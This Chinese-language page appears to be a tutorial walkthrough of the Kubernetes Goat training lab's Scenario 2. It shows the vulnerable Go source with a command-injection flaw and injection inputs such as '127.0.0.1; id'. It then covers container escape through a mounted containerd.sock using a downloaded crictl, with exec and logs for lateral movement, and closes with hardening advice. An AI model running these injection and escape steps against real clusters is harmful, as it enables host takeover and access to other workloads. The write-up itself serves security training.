十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Kubernetes Goat 场景2实战:命令注入 + containerd.sock 挂载导致的容器逃逸(DIND 误用全解析)

Kubernetes Goat 场景2实战:命令注入 + containerd.sock 挂载导致的容器逃逸(DIND 误用全解析) Kubernetes Goat 场景2实战命令注入 containerd.sock 挂载导致的容器逃逸DIND 误用全解析【免费下载链接】kubernetes-goatKubernetes Goat is a Vulnerable by Design cluster environment to learn and practice Kubernetes security using an interactive hands-on playground 项目地址: https://gitcode.com/GitHub_Trending/ku/kubernetes-goat本篇指南基于 Kubernetes Goat 的 Scenario 2DIND / docker-in-docker exploitation完整讲解如何利用一个带命令注入漏洞的服务器 Ping 检测应用发现被误挂进容器的容器运行时 UNIX socketcontainerd.sock进而通过crictl与宿主机容器运行时通信实现从容器逃逸到宿主机的完整攻击链。学完后你将掌握容器 socket 挂载误配置的检测方法、逃逸手法、CI/CD 构建系统同类风险的成因以及从 源码 与 部署清单 层面印证该场景的漏洞根源。Kubernetes Goat 场景 2 的目标界面Ping Your Servers 应用首页场景背景与教学目标在真实世界的 CI/CD 与流水线系统中DINDdocker-in-docker通常通过把宿主机的容器运行时 UNIX socket如/var/run/docker.sock、/run/containerd/containerd.sock挂载进流水线容器让流水线借用宿主机运行时来构建和运行镜像。从容器生态早期开始这类配置就是经典攻击面容器内任何能执行系统命令的进程只要拿到 socket就等同于拿到了宿主机的容器编排权限。本场景模拟的正是这种误配置学完你将达成文档scenario-2.md列出的三个学习目标学会检测与利用容器 UNIX socket 误配置掌握从容器逃逸container escape到宿主机的完整过程理解流水线与 CI/CD 构建系统中这类误配置的常见形态。场景目标Goal从正在运行的 docker 容器中逃逸到容器所运行的宿主机系统并能访问/操作同一节点上的其他容器。判定标准只要你能获取宿主机上的容器镜像列表container images即算完成本场景也可以继续做后渗透post-exploitation。入口场景运行后访问 http://127.0.0.1:1231 即可进入靶标页面。端口 1231 来自启动脚本 access-kubernetes-goat.sh 中对health-checkPod 的kubectl port-forward ... 1231:80映射。场景是如何搭起来的从源码看漏洞根源理解靶场本身比单纯跟着步骤走更有价值。Scenario 2 由两部分组成一个故意存在命令注入漏洞的 Web 应用和一个故意挂载宿主机运行时 socket 的 Deployment。漏洞应用health-checkPing Your Servers应用源码为 infrastructure/health-check/main.go基于 Go Fiber 框架实现核心逻辑仅几行漏洞一目了然app.Post(/, func(c *fiber.Ctx) error { endpoint : c.FormValue(endpoint) cmd : exec.Command(sh, -c, ping -c 2 endpoint) // ...执行并回显输出 })用户提交的endpoint字段被直接字符串拼接进sh -c ping -c 2 endpoint没有任何过滤或转义——这是教科书式的命令注入command injection。前端表单见 views/index.html提交后后端把ping的完整输出回显到页面所以注入命令的结果可以直接在浏览器中看到。构建镜像见 infrastructure/health-check/Dockerfilegolang:latest基础镜像 apt install curl wget iputils-ping。注意这里预装了curl和wget——这正是后续攻击链中下载crictl静态二进制、以及用curl --unix-socket直连 socket 的前提。误配置部署挂载宿主机 containerd.sock真正致命的部分在 scenarios/health-check/deployment.yaml。其要点如下init 容器detect-runtime-socket以privileged: true运行把宿主机根目录/只读挂载为/host-roothostPath依次探测/run/containerd/containerd.sock、/var/run/docker.sock、/run/docker.sock找到后在emptyDir中创建符号链接/socket-link/container.sock实现统一 socket 路径主容器health-checksecurityContext.privileged: true并把上述emptyDir同时挂载到三个路径——/custom/containerd/containerd.sock、/var/run/docker.sock、/run/docker.sock。因此无论攻击者用哪个工具、按哪个默认路径找 socket都能直接命中宿主机的 containerd 运行时。仓库还提供了 deployment-simple-alternative.yaml它省去 init 容器直接把三种 socket 路径以hostPathDirectoryOrCreate全部挂进去是更粗暴但更常见的误配置形态。这两份清单本身就是很好的教学素材privileged 宿主机 socket 挂载的组合意味着容器内进程对宿主容器运行时拥有完全控制权——这正是本文攻击链得以成立的原因。攻击链第一步发现并利用命令注入进入 http://127.0.0.1:1231 后文档给出的思路是观察应用功能与输入输出尝试输入异常字符。由于应用以sh -c执行命令见上文 main.go 源码Linux 下可用;作为分隔符追加任意命令127.0.0.1; id页面会回显id的执行结果确认命令注入成立注入确认后下一步是侦察reconnaissance——系统上有什么可用的资源执行; mount在标准系统中不常见的挂载项会立刻浮出水面其中关键的一条是/custom/containerd/containerd.sock被挂载进了文件系统对应 deployment.yaml 中的container-socket-unified卷。从挂载信息可以推断这个 socket 来自宿主机只要能与它通信就能驱动宿主机上的容器运行时。攻击链第二步选择与 socket 通信的工具与containerd.sock/docker.sock这类 UNIX socket 通信有多种方式文档提示了两类crictl二进制Kubernetes CRI 工具链的 CLI通过-r参数指定运行时端点crictl会把Kubernetes 视角下的容器、镜像、日志呈现出来curl --unix-socket更轻量可直接向 containerd 的 gRPC/HTTP 端点发请求适合目标环境无法联网时。由于本场景容器内预装了wget见 Dockerfile且允许出网文档采用的是下载crictl静态二进制的路线。确定目标架构先做系统指纹识别判断需要哪个架构的二进制;uname -a根据输出确定 OS 与架构。若目标是 x86_64 Linux 环境则下载对应的linux-amd64版本以 v1.27.1 为例与文档一致;wget crictl v1.27.1 linux-amd64 静态包地址 -O /tmp/crictl-v1.27.1.tar.gz原文使用wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz实际练习时请到 cri-tools 官方发布页选择与uname -a输出匹配的架构amd64 / arm64。解压到/tmp供后续调用;tar -xvf /tmp/crictl-v1.27.1.tar.gz -C /tmp/攻击链第三步通过 socket 访问宿主机核心一步把crictl的运行时端点-r参数指向容器内挂载的宿主机 socket;/tmp/crictl -r unix:///custom/containerd/containerd.sock images这条命令的执行路径是容器内进程 →/custom/containerd/containerd.sock即 deployment.yaml 挂载的符号链接→ 宿主机 containerd 守护进程 → 返回宿主机上全部容器镜像列表。能看到宿主机镜像列表即标志着容器逃逸达成达成文档定义的 Goal 判定标准。后续可继续用crictl的其他子命令做后渗透例如ps列出宿主机上由该运行时管理的所有容器exec container-id cmd直接在其他业务容器内执行命令横向触达同节点的其他工作负载logs container-id读取其他容器日志可能泄露凭据与内部信息。文档还特别提示了一个细节也可以用 containerd 原生的ctr工具代替crictl与运行时交互——crictl呈现的是 Kubernetes 视角下的容器而ctr会额外显示 Kubernetes 隐藏的 pauseinfra容器等运行时内部对象两者互补可用于更完整的宿主机侦察。同类误配置在仓库中的其他佐证这个场景并非孤例。在 guide/static/kics-report.html 的 KICS 扫描结果中多条规则命中了/var/run/docker.sock的 hostPath 挂载问题仓库另一个场景 scenarios/docker-bench-security/deployment.yaml 也演示了同一类 socket 挂载的检测与利用路径同时挂载docker.sock与containerd.sock并探测其存在。这说明运行时 socket 逃逸是该靶场反复强调的核心主题Scenario 2 则是其中从应用层命令注入切入的最完整演示。防御要点如何避免这类逃逸结合 deployment.yaml 中被点名的每一处危险配置对应的加固措施是不要把运行时 socket 挂进业务容器。CI/CD 需要构建镜像时应使用隔离的构建器如独立的 builder 节点/远端构建服务或使用 socket 代理方案并做权限收敛而不是hostPath直挂containerd.sock/docker.sock移除privileged: true。本场景中 init 容器与主容器都设置了 privileged配合 socket 挂载等于交出宿主机能用readOnly就不要写需要 socket 也只读挂载对照 deployment-simple-alternative.yaml 中至少做到了readOnly: true修复命令注入。回到 main.go 的根源exec.Command(sh, -c, ping -c 2 endpoint)应改为参数化调用exec.Command(ping, -c, 2, endpoint)并对输入做白名单校验用扫描工具拦截。Checkov/KICS/kubescape 等策略扫描都能识别docker.sock的 hostPath 挂载见 guide/docs/security-reports/ 目录下的报告文档建议在 CI 阶段强制执行。小结Kubernetes Goat 的 Scenario 2 用一条完整攻击链演示了 DIND 类 socket 误配置的破坏力命令注入; id获取 shell 能力 →mount发现containerd.sock挂载 →uname -a指纹识别 → 下载crictl静态二进制 →crictl -r unix:///custom/containerd/containerd.sock直接驱动宿主机运行时最终列取宿主机全部镜像并具备crictl exec横向能力。整条链路所需的每个漏洞点都能在仓库中找到对应源码与清单注入点在 infrastructure/health-check/main.gosocket 挂载在 scenarios/health-check/deployment.yaml访问入口在 access-kubernetes-goat.sh。理解为什么能被利用比记住攻击命令更重要——这正是把该场景用于安全团队日常练习的价值所在。【免费下载链接】kubernetes-goatKubernetes Goat is a Vulnerable by Design cluster environment to learn and practice Kubernetes security using an interactive hands-on playground 项目地址: https://gitcode.com/GitHub_Trending/ku/kubernetes-goat创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表